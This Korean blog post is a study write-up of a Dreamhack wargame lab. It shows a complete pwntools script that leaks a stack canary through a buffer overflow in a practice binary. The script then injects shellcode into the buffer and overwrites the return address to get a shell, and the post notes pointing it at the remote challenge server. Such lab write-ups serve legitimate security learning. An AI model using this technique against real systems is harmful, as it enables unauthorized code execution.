Iriton's log

Exploit Tech: Return to Shellcode 본문

Pwnable/Study

Exploit Tech: Return to Shellcode

Iriton 2024. 5. 15. 13:46

*본 포스트는 Dreamhack - Systemhacking Lecture 을 참고하여 작성되었습니다.

분석

보호기법 탐지

보호기법을 파악할 때 주로 사용하는 툴이 checksec다.

pwntools를 설치할 때 같이 설치되어 ~/.local/bin/checksec에 위치한다.

checksec을 사용하면 간단한 커맨드 하나로 바이너리에 적용된 보호기법들을 파악할 수 있다.

만약 해당 커맨드를 사용했을 때 command not found 에러가 발생한다면, ~/.bashrc 파일의 마지막 줄에 다음 줄을 추가한다.

export PATH="$HOME/.local/bin/:$PATH"

 

취약점 탐색

1. buf의 주소

이 예제에서는 실습의 편의를 위해 buf 의 주소 및 rbp 와 buf 사이의 주소 차이를 알려준다.

printf("Address of the buf: %p\\n", buf);
printf("Distance between buf and $rbp: %ld\\n",
        (char*)__builtin_frame_address(0) - buf);

 

 

2. 스택 버퍼 오버플로우

코드를 살펴보면 스택 버퍼인 buf 에 총 두 번의 입력을 받는다. 그런데 두 입력 모두에서 오버플로우가 발생한다는 것을 알 수 있다.

char buf[0x50];

read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);             // Unsafe function

 

이 취약점들을 이용해서 셸을 획득해야 한다.

 

익스플로잇 시나리오

1. 카나리 우회

두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.

첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것입니다.

2. 셸 획득

카나리를 구했으면, 이제 두 번째 입력으로 반환 주소를 덮을 수 있다.

그런데 이 바이너리에는 지난 실습과 달리 셸을 획득해주는 get_shell() 같은 함수가 없다.

따라서 셸을 획득하는 코드를 직접 주입하고, 해당 주소로 실행 흐름을 옮겨야 합니다. 주소를 알고 있는 buf 에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있을 것다.

 

익스플로잇

스택 프레임 정보 수집

#!/usr/bin/env python3
# Name: r2s.py
from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = process('./r2s')

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

[1] Get information about buf

Address of buf 이후에 buf 주소가 나오니 이를 저장한다.

rbp 이후에 rbp까지 거리가 출력되는데 이를 저장한 뒤에 카나리 값의 크기 8을 빼서 카나리 Leak을 위해 입력해야 되는 총 길이를 저장한다.

buf가 포인터로 출력되기에 int(p.recvline(), 16)으로 포인터부터 16만큼 값을 받는다.

[:-1]을 넣은 이유는 개행문자나 문자열 끝단을 효과적으로 제거하기 위해서라고 한다.

 

Canary Leak을 위해서는 Canary의 첫 바이트를 덮어야 한다. buf 값을 더 입력하면 문자열의 끝을 뜻하는 NULL 값이 없어서 Canary 값도 출력되는 방식이다.

 

[2] Leak Canary value

카나리 릭을 위해 입력해야 되는 크기는 +1이 되어야 NULL 값이 사라져서 카나리도 출력이 된다.

페이로드를 던지고 출력되는 값, 즉 카나리를 저장한다.

 

[3] Exploit

buf에 쉘 코드 주입하고 canary 값으로 덮은 뒤 반환 주소를 덮으면 된다.

 

이어지는 문제 LEVEL 2 Return to Shellcode는 익스플로잇 코드에서 p 변수에 remote로 서버 연결만 해주면 된다.

그럼 기존에 로컬 피씨에 접속하여 쉘을 얻은 거라면 서버의 쉘에 접속하게 되어 flag 값을 볼 수 있게 된다.

 

'Pwnable > Study' 카테고리의 다른 글

Background: Library  (0) 2024.05.22
Mitigation: NX & ASLR  (1) 2024.05.22
Mitigation: Stack Canary  (0) 2024.05.07
Exploit Tech: Return Address Overwrite  (0) 2024.04.09
Memory Corruption: Stack Buffer Overflow  (0) 2024.04.01
Comments